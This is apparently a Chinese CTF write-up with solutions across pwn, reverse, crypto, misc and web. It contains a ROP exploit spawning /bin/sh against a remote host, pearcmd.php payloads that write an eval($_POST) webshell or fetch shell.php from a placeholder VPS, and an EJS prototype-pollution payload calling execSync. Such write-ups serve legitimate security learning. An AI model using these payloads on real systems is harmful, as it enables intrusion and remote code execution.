IBT: Enabled
Stripped: No

有libc可以用密码库生成和服务器一样的随机数绕过第一个随机数检查,第二个随机数种子固定可以直接本地生成一次记录下来然后绕过,最后进入func函数泄露libc基址即可

exp

from pwn import *
import ctypes
context(os='linux',arch='amd64',log_level='debug')
io=remote('27.25.151.198',40324)
elf = ELF('./pwn')
##io = process(
## ["/home/pwn/桌面/ld.so.2", "./pwn"],
## env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
##)
##io = process('./pwn')
libc=ctypes.CDLL("./libc.so.6")

io.recvuntil(b"game1 begin\n")


seed=libc.time(0)
libc.srand(seed)
v5=libc.rand()

libc.srand(v5%5-44174237)
for i in range(55):
tmp=libc.rand()%4+1
io.sendlineafter(b'good!',str(tmp))

io.recvuntil(b'game2 begin\n')
libc.srand(8)
for i in range(55):
tmp=libc.rand()%4+8
io.sendlineafter(b'good!',str(tmp))

pop_rdi = 0x0000000000401483
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
func = 0x40121F
payload = b'a'*0x38 + p64(pop_rdi) + p64(elf.got['read']) + p64(puts_plt) + p64(func)

io.recvuntil(b'young man.')
io.sendline(payload)
libc=ELF('./libc.so.6')
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))

system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi_r15 =0x0000000000401481
ret = 0x000000000040101a
payload = b'a'*0x38+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(ret)+p64(system)
io.sendline(payload)

io.interactive()

RE

签到re

豆包一把梭

import hashlib
import struct

## 目标密文
target_ciphertext = bytes([
0x00, 0x00, 0x00, 0x25, 0x0C, 0xE2, 0x70, 0x89, 0x98, 0xB2, 0xBB,
0xE4, 0x94, 0xA0, 0x95, 0xAC, 0x38, 0x92, 0x22, 0xF8, 0x0E, 0x7B,
0x76, 0x1A, 0x66, 0xC8, 0x03, 0x05, 0x2E, 0x7D, 0xA1, 0x04, 0x3D,
0xC0, 0x62, 0xFE, 0x66, 0x67, 0x02, 0x87, 0x81, 0xF4, 0x00, 0x00
])

## 密钥
key = b"MySecretKey123!"

def derive_key(key):
## 计算SHA256哈希
sha256 = hashlib.sha256(key).digest()

## 按照伪代码中的方式构造a3
## 注意:这里使用了伪代码中的位操作逻辑
v4 = sha256[0]
v5 = int.from_bytes(sha256[1:3], 'little')
v6 = sha256[3]

## 构造a3
a3 = (v4 | 1) | ((v5 & 0xFEFE) << 8) | ((v6 | 1) << 24)
return a3

def decrypt_block(cipher_block, a3):
## 提取字节
c0, c1 = cipher_block[0], cipher_block[1]

## 提取a3的各个字节
b0 = a3 & 0xFF
b1 = (a3 >> 8) & 0xFF
b2 = (a3 >> 16) & 0xFF
b3 = (a3 >> 24) & 0xFF

## 计算行列式的逆(模256)
det = (b0 * b3 - b1 * b2) % 256
det_inv = pow(det, -1, 256) ## 计算模逆元

## 解密公式推导
p0 = ((c0 * b3 - c1 * b1) * det_inv) % 256
p1 = ((c1 * b0 - c0 * b2) * det_inv) % 256

return bytes([p0, p1])

def decrypt(ciphertext, a3):
## 提取原始长度
n_bytes = ciphertext[:4]
n = struct.unpack('<I', n_bytes)[0]

## 解密剩余部分
decrypted = bytearray()
cipher_blocks = ciphertext[4:]

for i in range(0, len(cipher_blocks), 4):
block1 = cipher_blocks[i:i+2]
block2 = cipher_blocks[i+2:i+4]

decrypted_block1 = decrypt_block(block1, a3)
decrypted_block2 = decrypt_block(block2, a3)

decrypted.extend(decrypted_block1)
decrypted.extend(decrypted_block2)

## 返回原始长度的明文
return decrypted[:n]

## 执行解密
a3 = derive_key(key)
plaintext = decrypt(target_ciphertext, a3)

print("解密结果:", plaintext.decode('ascii', errors='replace'))
##H&NCTF{840584fb08a26f01c471054628e451}

Misc

签到and签退

1

星辉骑士

拖随波逐流发现有个flag.zip,将docx改为zip找到flag.zip,里面九个txt内容,在线网站解密

spammimic - decode

1:ashjdsahd
2:asdjhuasdvghj
3:sdfsdfsfasfwq
4:asdasdadadadwdf
5:flag{this_is_fake_lg}
6:flag{this_is_fake_flg}
7:flag{this_is_fakeg}
8:flag{this_is_fake_flag}
9:flag{0231265452-you-kn*w-spanmimic}

H&NCTF{0231265452-you-kn*w-spanmimic}

CRYPTO

lcgp

from Crypto.Util.number import long_to_bytes
import gmpy2
from sympy.ntheory import discrete_log

## Given data
random = [
11250327355112956284720719987943941825496074893551827972877616718074592862130806975889275745497426515405562887727117008818863728803549848574821067056997423443681347885027000632462241968640893471352200125748453396098854283137158609264944692129301617338233670002547470932851350750870478630955328653729176440142198779254117385657086615711880537380965161180532127926250520546846863536247569437,
1289730679860726245234376434590068355673648326448223956572444944595048952808106413165882424967688302988257332835229651422892728384363094065438370663362237241013242843898967355558977974152917458085812489310623200114007728021151551927660975648884448177346441902806386690751359848832912607313329587047853601875294089502467524598036474193845319703759478494109845743765770254308199331552085163360820459311523382612948322756700518669154345145757700392164795583041949318636,
147853940073845086740348793965278392144198492906678575722238097853659884813579087132349845941828785238545905768867483183634111847434793587821166882679621234634787376562998606494582491550592596838027522285263597247798608351871499848571767008878373891341861704004755752362146031951465205665840079918938797056361771851047994530311215961536936283541887169156535180878864233663699607369701462321037824218572445283037132205269900255514050653933970174340553425147148993214797622395988788709572605943994223528210919230924346860415844639247799805670459,
7426988179463569301750073197586782838200202717435911385357661153208197570200804485303362695962843396307030986052311117232622043073376409347836815567322367321085387874196758434280075897513536063432730099103786733447352512984165432175254784494400699821500026196293994318206774720213317148132311223050562359314735977091536842516316149049281012797103790472349557847649282356393682360276814293256129426440381745354969522053841093229320186679875177247919985804406150542514337515002645320320069788390314900121917747534146857716743377658436154645197488134340819076585888700553005062311578963869641978771532330577371974731136,
10389979373355413148376869524987139791217158307590828693700943753512488757973725227850725013905113587408391654379552713436220790487026223039058296951420273907725324214990441639760825661323514381671141482079783647253661594138658677104054180912818864005556386671430082941396497098166887200556959866845325602873713813206312644590812141400536476615405444030140762980665885244721798105034497461675317071497925846844396796854201566038890503298824928152263774446268093725702310124363765630370263370678902342200494544961012407826314577564991676315451785987248633724138137813024481818431889574317602521878974976264742037227074
]
n = 604805773885048132038788501528078428693141138274580426531445179173412328238102786863592612653315029009606622583856638282837864213048342883583286440071990592001905867027978355755042060684149344414810835371740304319571184567860694439564098306766474576403800046937218588251809179787769286393579687694925268985445059
e = 2024

## Step 1: Recover LCG parameters (a, b, m)
def recover_m(s):
diffs = [s1 - s0 for s0, s1 in zip(s, s[1:])]
multiples = [t0*t2 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
m = multiples[0]
for num in multiples[1:]:
m = gmpy2.gcd(m, num)
return m

m = recover_m(random)
print("Recovered m:", m)
print("Bit length of m:", m.bit_length())

## Now recover a and b
s0, s1, s2 = random[0], random[1], random[2]
a = (s2 - s1) * gmpy2.invert(s1 - s0, m) % m
b = (s1 - a * s0) % m

print("Recovered a:", a)
print("Recovered b:", b)

## Step 2: Recover the initial seed (c) by reversing the LCG
## The first output is s0 = (a*c + b) mod m
c = (random[0] - b) * gmpy2.invert(a, m) % m
print("Recovered c:", c)

## Step 3: Solve c = e^flag mod n, where e = 2024
## First check if e and n are coprime
g = gmpy2.gcd(e, n)
if g != 1:
print(f"Warning: e and n are not coprime, gcd(e, n) = {g}")
## In this case, we might need to handle it differently
## But since n is supposed to be prime (getPrime(1024)), this shouldn't happen
## Unless n is actually 2024 (which it's not, as we can see)
## So we'll proceed with the assumption that g = 1

## Try sympy's discrete_log first
try:
print("\nAttempting discrete log with sympy...")
flag = discrete_log(n, c, e)
print("Discrete log successful!")
print("Flag (long):", flag)
print("Flag (bytes):", long_to_bytes(flag))
except Exception as ex:
print("Sympy discrete_log failed:", ex)
print("\nAttempting alternative approaches...")

## Alternative approach: brute-force small exponents
print("Trying brute-force for small exponents...")
max_tries = 100000
found = False
for k in range(1, max_tries + 1):
if pow(e, k, n) == c:
print("Found flag with brute-force:")
print("Flag (long):", k)
print("Flag (bytes):", long_to_bytes(k))
found = True
break
if not found:
print(f"Brute-force failed after {max_tries} tries.")

## Another approach: check if c can be directly converted to bytes
print("\nChecking if c can be directly converted to flag...")
try:
potential_flag = long_to_bytes(c)
if b'H&NCTF{' in potential_flag:
print("Found flag in c directly:")
print("Flag:", potential_flag.decode())
else:
print("c doesn't contain flag directly:", potential_flag)
except:
print("Couldn't convert c to bytes")

## If none of the above worked, suggest using SageMath
print("\nIf all attempts failed, try using SageMath for discrete log:")
print(f"flag = discrete_log(Mod({c}, {n}), Mod({e}, {n}))")

image-20250607220248805

H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}

2026

WEB

签到

好像和session有关?

看源码找到个upload.php,然后上传文件时候发现请求包中有个PHP_SESSION_UPLOAD_PROGRESS,结合题目想到是session临时文件包含

session临时文件包含

当PHP_SESSION_UPLOAD_PROGRESS开启时,我们可以通过这个PHP_SESSION_UPLOAD_PROGRESS查看我们文件上传的进度,并且,他的值我们是可控的,在我们上传文件的过程中,PHP_SESSION_UPLOAD_PROGRESS的内容会以一个临时文件的方式保存,而这个临时文件的名称我们也是可控的,他存放在tmp目录下,命名规则为sess_PHPSESSID,由于cookie是可控的,所以文件名我们可以掌握

但是session.upload_progress.cleanup是默认开启的,它意味着我们文件上传结束时,该临时文件也会被清除,所以就要进行竞争

题目

该题中首先尝试抓一个上传包,一个包含包,然后bp发包竞争,如图,注意PHPSESSID的修改和文件名修改

image-20260606221656048

image-20260606221801394

然后发包竞争就能看到有些有结果

image-20260606221829372

后面就如上正常打就能读/flag

image-20260606222614332

flag{5c4be4a2-061f-4f8f-8e8e-dd88d23c0362}

PS:这个题之前尝试过伪协议读文件,但是用了伪协议都读不出来,不知道为啥,只能读个/etc/passwd,所以把include.php和upload.php都扒下来了,如下(只保留关键代码)

#upload.php
upload_progress_<?php
require_once __DIR__ . '/../app.php';
session_start();

$message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$message = '上传已收到,但业务代码不会保存文件。';
}
?>
#include.php    
<?php
require_once __DIR__ . '/../app.php';

$defaultFile = str_replace('\\', '/', realpath(BASE_DIR . '/notes/welcome.txt'));
$rawFile = $_GET['file'] ?? $defaultFile;
$file = str_replace('\\', '/', $rawFile);

$error = '';
$content = '';

$blocked = false;
$real = false;

if ($file === '') {
$blocked = true;
} elseif (strlen($file) > 200) {
$blocked = true;
} elseif (preg_match('/[\x00-\x1f\x7f]/', $file)) {
$blocked = true;
} elseif (preg_match('#^[a-z][a-z0-9+.-]*://#i', $file)) {
$blocked = true;
} else {
$real = realpath($file);
}

$protectedNames = '#(^|/)(?:flag|flag\.txt|flag-[^/]*|[^/]*flag[^/]*|include\.php|upload\.php|pearcmd\.php|pear)$#i';
if (!$blocked && $real !== false) {
$normalizedReal = str_replace('\\', '/', $real);
if (preg_match($protectedNames, $file) || preg_match($protectedNames, $normalizedReal)) {
$blocked = true;
} elseif (stripos($file, '/PEAR/') !== false || stripos($normalizedReal, '/PEAR/') !== false) {
$blocked = true;
} else {
$flagStat = @stat('/flag');
$fileStat = @stat($normalizedReal);
if ($flagStat !== false && $fileStat !== false
&& $flagStat['dev'] === $fileStat['dev']
&& $flagStat['ino'] === $fileStat['ino']) {
$blocked = true;
}
}
}

if ($blocked || $real === false || !is_file($real) || !is_readable($real)) {
$error = '文件不存在或不可读';
} else {
ob_start();
include $real;
$content = ob_get_clean();
}
?>
#app.php
<?php
define('BASE_DIR', __DIR__);

ini_set('display_errors', '0');
error_reporting(0);

好吧,最后看到是权限问题,www-data用户只有读权限

20
drwxr-xr-x 1 root root 4096 Jun 5 10:54 .
drwxr-xr-x 1 root root 4096 May 19 23:06 ..
-rw-r--r-- 1 root root 88 May 31 05:29 app.php
drwxr-xr-x 1 root root 4096 May 31 05:42 notes
drwxr-xr-x 1 root root 4096 Jun 5 11:34 public

include

进入发现是个模板预览系统,还能自定义模板路径,而且尝试后发现必须以php后缀结尾,随便尝试include.php后发现报错

image-20260606231730932

从这个报错可以知道,index.php中的include函数来进行包含,包含路径为.和 /usr/local/lib/php,网上搜索后找到参考文章pearcmd.php的妙用_register argc argv-CSDN博客

pearcmd.php利用

参考关于pearcmd的探索与利用 - shhl - 博客园

关于pearcmd.php的利用 - Yuy0ung - 博客园

利用条件
  • 要开启register_argc_argv这个选项(在Docker中自动开启)
  • 要有文件包含的利用点
  • 确定pearcmd.php的位置,通常为/usr/local/lib/php
什么是register_argc_argv?

当register_argc_argv配置项打开(on)时,系统会自动将命令行输入的参数信息存入 $argc、$argv 和 $_SERVER['argv'] 这几个变量中,无需手动处理。(仅限命令行模式(CLI))

例如,执行 php script.php user1 123 这样的命令时:

$argc 会自动得到值 3(表示总共有 3 个参数:脚本名本身 + 两个输入参数)

$argv 会自动成为数组 ['script.php', 'user1', '123']

$_SERVER['argv'] 会和 $argv 完全相同

简单来说这个配置项的作用就是自动解析命令行参数并赋值给特定变量,让开发者可以直接在脚本中使用这些变量来获取参数信息,无需编写额外的参数解析代码,同时也使得用户在输入时无需考虑底层代码解析,可以更专注于自身代码逻辑。

register_argc_argv的开启

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

当开启了这个选项,用户的输入将会被赋予给$argc、$argv、$_SERVER['argv']几个变量。

也就是说:当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效

而在Docker环境下的PHP会开启register_argc_argv这个配置。

web服务器下利用register_argc_argv

根据RFC3875的规定,如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。也就是说,可以通过特殊的方式实现在web服务器下使用http协议传递命令行参数,换句话说就是我们可以通过GET传参使用系统命令

注:query-string是url中 ? 后面的部分,例如:

(1)在 URL http://example.com/search?keyword=php&page=1 中,keyword=php&page=1 就是 query-string。

(2)它通常由一组 键=值 对组成,不同键值对之间用 & 分隔(如 key1=val1&key2=val2)。

而pear会在pearcmd.php获取命令行参数:

PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

pearcmd.php使用readPHPArgv()获取命令行参数:

public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

所以我们通过Web访问了pear命令行的功能,且能够控制命令行的参数

pear命令
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]

所以这里给出几个payload利用后再解释

payload
  • config-create

    ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
    或
    ?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/test.php

    config-create命令的语法规则为

    pear config-create <模板路径> <目标文件路径>

    payload解释

    • file=/usr/local/lib/php/pearcmd.php:指定pearcmd.php路径进行命令
    • &:进行参数的分割
    • +config-create+:为pear的命令,用于创建pear的配置文件,这里用 + 替代空格(url编码中,+ 常表示空格),模拟命令行中的空格分隔参数
    • /:作为 config-create 命令的第一个参数(模板路径),此处为占位符
    • <?=phpinfo()?>:写入的恶意代码
    • /tmp/test.php :要写入的文件位置

    然后写入进去后通过文件包含即可getshell

  • install

    ?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/shell.php
    或
    ?file=/usr/local/lib/php/peclcmd.php&+install+http://vps/shell.php
    或
    ?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://[vps]/shell.php

    install命令的语法规则为

    pear install http://[vps]:[port]/test.php

    这个命令从外面将shell文件下载进来然后进行getshell,install有--installroot这个选项可以指定他的安装目录

    不难看出这串payload所下载的文件的保存地址在 &file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里可能会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而用户并没有权限对其进行写操作,会导致利用失败

  • download

    ?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/1.php
    或
    ?+download+file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php&

    download命令的语法规则为

    pear download http://[vps]:[port]/test.php

    这个同上,但是可以直接下载到web目录,不用知道web目录路径

被ban

如果pearcmd关键词被ban,可以用peclcmd.php作为平替

注意

需要先抓包再添加paylaod,原因为在搜索框传参php代码时,php代码的符号会被url编码,服务器收到的是编码,不会把它看作代码解析,所以上传后不会被解析,所以需要通过传参上传php代码时,使用bp进行上传,防止被编码。

题目

这里就直接使用config-create来进行写入

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[123]);?>+/tmp/shell.php

image-20260607000800703

然后直接包含/tmp/shell.php传参即可

POST:file=/tmp/shell.php&123=system("cat /flag");

image-20260607001237399

flag{5c35ef9f-abe4-4820-b590-563cf4051151}

prototype-preview

看到这个题目就能想到js原型链污染和模板引擎,大概思路就是结合ejs模板引擎触发原型链污染实现rce。

参考PrototypePollutionLab/pollution2/WriteUp.md at main · sangnigege/PrototypePollutionLab

【漏洞学习】JavaScript Prototype Pollution(JavaScript原型污染漏洞) - wh03ver-momo - 博客园

结合ejs模板引擎触发原型链污染

payload如下

{
"__proto__":{
"client":true,
"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('calc');",
"complieDebug":true
},
"msg":"111"
}

这里也先本地部署来运行学习一下,调试过程如下

本地运行后,同样在渲染部分打断点,bp发包进入调试模式

image-20260607150806564

image-20260607150825840

然后跟着按F11进行单步调试,进入response.js

Express 的 res对象是由 response.js 定义和扩展的,render 方法最终会调用模板引擎(如 ejs)进行页面渲染。

image-20260607152346867

可以看到这个opts中有完整的payload,然后接着调试,看哪一步用到了opts

image-20260607152702031

可以看到将opts传给了render模块,继续跟进,发现将opts变量merge进了renderOptions

image-20260607165657963

然后将renderOptions传入tryRender函数,继续跟进

image-20260607165915117

跟进到view.js里面的engine

image-20260607170149218

进入this.engine里面,就最终进入到了ejs.js的模块当中,调用ejs.js的入口函数renderFile,renderFile函数最后return tryHandleCache,直接打断点后点继续,跳到这个返回值image-20260607170619003

然后单步调试到handleCache函数

image-20260607171444729

继续跟进到compile函数,可以看到已经在对模板进行渲染了,继续跟进compile函数

image-20260607171959056

跟进到最后的return templ.compile();

image-20260607172135328

继续跟进compile,找到核心代码如下,注意到这里需要将opts.compileDebug和opts.compileDebug置为true,才能给src拼接值,现在最后拼接完的值就能执行恶意代码了

image-20260607172625886

这里的src为

`escapeFn = escapeFn || 1; return global.process.mainModule.constructor._load('child_process').execSync('calc');;
var __line = 1
, __lines = "<!-- \\r\\n 这是一个用于展示 Node.js VIP 课程评价的页面\\r\\n hint:npm install body-parser@^1.20.2 ejs@^3.1.9 express@^4.18.2\\r\\n-->\\r\\n<!DOCTYPE html>\\r\\n<html lang=\\"zh\\">\\r\\n<head>\\r\\n <meta charset=\\"UTF-8\\">\\r\\n <title>Node.js VIP课程评价中心 - 学员留言专区</title>\\r\\n <style>\\r\\n html, body { height: 100%; }\\r\\n body {\\r\\n font-family: 'Segoe UI', '微软雅黑', Arial, sans-serif;\\r\\n background: linear-gradient(120deg,#e0eafc 0%,#cfdef3 100%);\\r\\n min-height: 100vh;\\r\\n margin:0;\\r\\n position: relative;\\r\\n overflow-x: hidden;\\r\\n }\\r\\n .banner {\\r\\n width: 100vw;\\r\\n min-width: 600px;\\r\\n background: linear-gradient(90deg,#2563eb 60%,#00b4d8 100%);\\r\\n color: #fff;\\r\\n padding: 38px 0 24px 0;\\r\\n text-align: center;\\r\\n position: relative;\\r\\n box-shadow: 0 2px 16px rgba(58,123,213,0.10);\\r\\n }\\r\\n .banner-title {\\r\\n font-size: 34px;\\r\\n font-weight: bold;\\r\\n letter-spacing: 2px;\\r\\n margin-bottom: 8px;\\r\\n }\\r\\n .banner-desc {\\r\\n font-size: 17px;\\r\\n opacity: 0.92;\\r\\n }\\r\\n .container {\\r\\n background: #fff;\\r\\n border-radius: 18px;\\r\\n width: 540px;\\r\\n margin: 48px auto 0 auto;\\r\\n padding: 38px 36px 24px 36px;\\r\\n box-shadow: 0 8px 32px rgba(58,123,213,0.13);\\r\\n text-align: left;\\r\\n position: relative;\\r\\n z-index: 1;\\r\\n }\\r\\n .logo { font-size: 30px; font-weight: bold; color: #2563eb; margin-bottom: 18px; letter-spacing: 2px; }\\r\\n .review-list { display: flex; flex-direction: column; gap: 16px; margin-bottom:18px;}\\r\\n .review-item { background: #f4f8fb; border-radius: 8px; padding: 18px 24px; font-size: 15px; color: #444; box-shadow: 0 2px 8px rgba(58,123,213,0.08); text-align:left;}\\r\\n .rce { color: #e74c3c; font-weight: bold; background: #fff3f3; border-radius: 8px; margin-top:8px; }\\r\\n .flag { color: #2ecc40; font-weight: bold; background: #eaffea; border-radius: 8px; margin-top:8px; }\\r\\n .footer {\\r\\n position: fixed;\\r\\n left: 0;\\r\\n bottom: 0;\\r\\n width: 100vw;\\r\\n min-width: 600px;\\r\\n color: #888;\\r\\n font-size: 13px;\\r\\n background: #f4f8fb;\\r\\n padding: 18px 0 16px 0;\\r\\n text-align: center;\\r\\n box-shadow: 0 -2px 8px rgba(58,123,213,0.04);\\r\\n z-index: 10;\\r\\n }\\r\\n .back-link { color:#2563eb;font-size:15px;text-decoration:underline;display:block;margin-bottom:12px;}\\r\\n </style>\\r\\n</head>\\r\\n<body>\\r\\n <div class=\\"banner\\">\\r\\n <div class=\\"banner-title\\">Node.js VIP课程评价中心</div>\\r\\n <div class=\\"banner-desc\\">学员留言专区</div>\\r\\n </div>\\r\\n <div class=\\"container\\">\\r\\n <a href=\\"/\\" class=\\"back-link\\">← 返回主页/提交新留言</a>\\r\\n <div class=\\"logo\\">全部学员评价</div>\\r\\n <div class=\\"review-list\\">\\r\\n <% reviews.forEach(function(item) { %>\\r\\n <div class=\\"review-item\\"><%= item %></div>\\r\\n <!-- <div class=\\"review-item\\"><%- item %></div> -->\\r\\n <% }) %>\\r\\n </div>\\r\\n </div>\\r\\n <div class=\\"footer\\">© 2025 IT Training Node.js课程中心 | 商业合作请联系:it-training@example.com</div>\\r\\n</body>\\r\\n</html>"
, __filename = "D:\\\\学习\\\\框架搭建\\\\pollution2\\\\src\\\\views\\\\review.ejs";
try {
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
with (locals || {}) {
; __append("<!-- \\r\\n 这是一个用于展示 Node.js VIP 课程评价的页面\\r\\n hint:npm install body-parser@^1.20.2 ejs@^3.1.9 express@^4.18.2\\r\\n-->\\r\\n<!DOCTYPE html>\\r\\n<html lang=\\"zh\\">\\r\\n<head>\\r\\n <meta charset=\\"UTF-8\\">\\r\\n <title>Node.js VIP课程评价中心 - 学员留言专区</title>\\r\\n <style>\\r\\n html, body { height: 100%; }\\r\\n body {\\r\\n font-family: 'Segoe UI', '微软雅黑', Arial, sans-serif;\\r\\n background: linear-gradient(120deg,#e0eafc 0%,#cfdef3 100%);\\r\\n min-height: 100vh;\\r\\n margin:0;\\r\\n position: relative;\\r\\n overflow-x: hidden;\\r\\n }\\r\\n .banner {\\r\\n width: 100vw;\\r\\n min-width: 600px;\\r\\n background: linear-gradient(90deg,#2563eb 60%,#00b4d8 100%);\\r\\n color: #fff;\\r\\n padding: 38px 0 24px 0;\\r\\n text-align: center;\\r\\n position: relative;\\r\\n box-shadow: 0 2px 16px rgba(58,123,213,0.10);\\r\\n }\\r\\n .banner-title {\\r\\n font-size: 34px;\\r\\n font-weight: bold;\\r\\n letter-spacing: 2px;\\r\\n margin-bottom: 8px;\\r\\n }\\r\\n .banner-desc {\\r\\n font-size: 17px;\\r\\n opacity: 0.92;\\r\\n }\\r\\n .container {\\r\\n background: #fff;\\r\\n border-radius: 18px;\\r\\n width: 540px;\\r\\n margin: 48px auto 0 auto;\\r\\n padding: 38px 36px 24px 36px;\\r\\n box-shadow: 0 8px 32px rgba(58,123,213,0.13);\\r\\n text-align: left;\\r\\n position: relative;\\r\\n z-index: 1;\\r\\n }\\r\\n .logo { font-size: 30px; font-weight: bold; color: #2563eb; margin-bottom: 18px; letter-spacing: 2px; }\\r\\n .review-list { display: flex; flex-direction: column; gap: 16px; margin-bottom:18px;}\\r\\n .review-item { background: #f4f8fb; border-radius: 8px; padding: 18px 24px; font-size: 15px; color: #444; box-shadow: 0 2px 8px rgba(58,123,213,0.08); text-align:left;}\\r\\n .rce { color: #e74c3c; font-weight: bold; background: #fff3f3; border-radius: 8px; margin-top:8px; }\\r\\n .flag { color: #2ecc40; font-weight: bold; background: #eaffea; border-radius: 8px; margin-top:8px; }\\r\\n .footer {\\r\\n position: fixed;\\r\\n left: 0;\\r\\n bottom: 0;\\r\\n width: 100vw;\\r\\n min-width: 600px;\\r\\n color: #888;\\r\\n font-size: 13px;\\r\\n background: #f4f8fb;\\r\\n padding: 18px 0 16px 0;\\r\\n text-align: center;\\r\\n box-shadow: 0 -2px 8px rgba(58,123,213,0.04);\\r\\n z-index: 10;\\r\\n }\\r\\n .back-link { color:#2563eb;font-size:15px;text-decoration:underline;display:block;margin-bottom:12px;}\\r\\n </style>\\r\\n</head>\\r\\n<body>\\r\\n <div class=\\"banner\\">\\r\\n <div class=\\"banner-title\\">Node.js VIP课程评价中心</div>\\r\\n <div class=\\"banner-desc\\">学员留言专区</div>\\r\\n </div>\\r\\n <div class=\\"container\\">\\r\\n <a href=\\"/\\" class=\\"back-link\\">← 返回主页/提交新留言</a>\\r\\n <div class=\\"logo\\">全部学员评价</div>\\r\\n <div class=\\"review-list\\">\\r\\n ")
; __line = 82
; reviews.forEach(function(item) {
; __append("\\r\\n <div class=\\"review-item\\">")
; __line = 83
; __append(escapeFn( item ))
; __append("</div>\\r\\n <!-- <div class=\\"review-item\\">")
; __line = 84
; __append( item )
; __append("</div> -->\\r\\n ")
; __line = 85
; })
; __append("\\r\\n </div>\\r\\n </div>\\r\\n <div class=\\"footer\\">© 2025 IT Training Node.js课程中心 | 商业合作请联系:it-training@example.com</div>\\r\\n</body>\\r\\n</html>")
; __line = 90
}
return __output;
} catch (e) {
rethrow(e, __lines, __filename, __line, escapeFn);
}
`

然后这个escapeFn函数就被污染成功了,由于ejs渲染流程为

.ejs模板 → 被EJS编译成一大段 JavaScript 代码 → 构造一个大JS函数(渲染函数)→ 执行渲染函数,输出HTML

所以我们污染的这个函数也会被构造到大JS函数

可以简单理解为:我们插入的恶意代码,最终会成为大函数的一部分(即大函数中的一个小函数),然后这个大函数会被执行,因此我们的恶意代码自然也会被执行(即大函数里面会调用我们这个小函数)。

以上都是我跟着wp一步一步调试的,主要是体验一下这种调试的过程

题目

直接使用这个payload修改下命令就能打出来了

{
"__proto__":{
"client":true,
"escapeFunction":"1;return global.process.mainModule.constructor._load ('child_process').execSync ('env');",
"compileDebug":true
}
}

image-20260607173500499

image-20260607142441770

flag{693f1b68-bb65-4bbf-b101-b6e922be54b1}

oooa

在前端0g9_nrkpbikfp.js中可以获得api接口如下

路由 方法
/api/v2/access/session/login POST
/api/v2/access/onboarding/apply-register POST
/api/v2/identity/profile/self GET
/api/v2/portal/context/refresh-sync POST
/api/v2/platform/runtime/diagnostic-task POST
/api/v2/workflow/pending-approval/snapshot GET
/api/v2/workflow/my-application/list GET

同时还能从这个文件获得以下信息

  • /api/v2/platform/runtime/diagnostic-task可以接收参数为cmd的POST请求进行诊断任务
  • 采用Authorization: Bearer ${token}来鉴权
  • /api/v2/portal/context/refresh-sync采用算法:AES-CBC,密钥:4d616e42614f61506f7274616c4b6579(解码为ManBaOaPortalKey),IV:506f7274616c52656672657368303121(解码为PortalRefresh01!),编码:Base64,对参数进行AES-CBC加密后提交json格式的userRef

在其中/api/v2/workflow/pending-approval/snapshot接口可以获得所有待审批事项

image-20260610192105231

拿这个值去进行诊断会被要求需要管理员的token

image-20260610195624635

